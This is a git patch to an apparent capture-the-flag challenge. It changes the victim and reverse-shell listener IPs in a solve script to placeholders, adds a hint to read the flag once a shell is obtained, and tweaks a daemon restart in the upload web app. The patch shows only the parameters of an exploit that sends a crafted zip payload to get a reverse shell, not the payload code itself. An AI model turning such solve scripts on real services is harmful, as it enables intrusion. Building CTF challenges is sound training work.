From f9d73bfb687c22c73d5c6a45b2388687413da3b0 Mon Sep 17 00:00:00 2001 From: atxr Date: Tue, 5 Mar 2024 11:57:05 +0100 Subject: [PATCH] Add more generic params --- solve/solve.py | 5 +++-- src/webapp/app.py | 4 ++-- src/webapp/static/styles.css | 6 ------ 3 files changed, 5 insertions(+), 10 deletions(-) diff --git a/solve/solve.py b/solve/solve.py index b1d25d2..077d9af 100644 --- a/solve/solve.py +++ b/solve/solve.py @@ -8,12 +8,12 @@ import zipfile ############## # Victim params -ip = "127.0.0.1" +ip = "X.X.X.X" port = 5000 url = f"http://{ip}:{port}/upload" # Reverse shell params -my_ip = "127.0.0.1" +my_ip = "X.X.X.X" my_port = 9001 @@ -127,6 +127,7 @@ with open("payload.zip", "wb") as zipf: print("payload.zip patched") print("You can start listening on port ", str(my_port)) +print("Once you get the shell, `cat ~/flag.txt`") input("Press any key when you are ready...") print("Sending payload...") diff --git a/src/webapp/app.py b/src/webapp/app.py index 86e8387..dc03205 100644 --- a/src/webapp/app.py +++ b/src/webapp/app.py @@ -38,9 +38,9 @@ def upload(): except: print("Restarting mineziper service", file=sys.stdout) - os.system("killall mineziperd") + os.system("pkill mineziperd") os.system("~/mineziperd &") - time.sleep(1) + time.sleep(5) s.send(pack("I", len(buf))) s.send(buf) diff --git a/src/webapp/static/styles.css b/src/webapp/static/styles.css index bfad1c0..53ebb70 100644 --- a/src/webapp/static/styles.css +++ b/src/webapp/static/styles.css @@ -26,12 +26,6 @@ form { text-align: center; } - - - - - - /* Hide the default file input button */ input[type="file"] { display: none;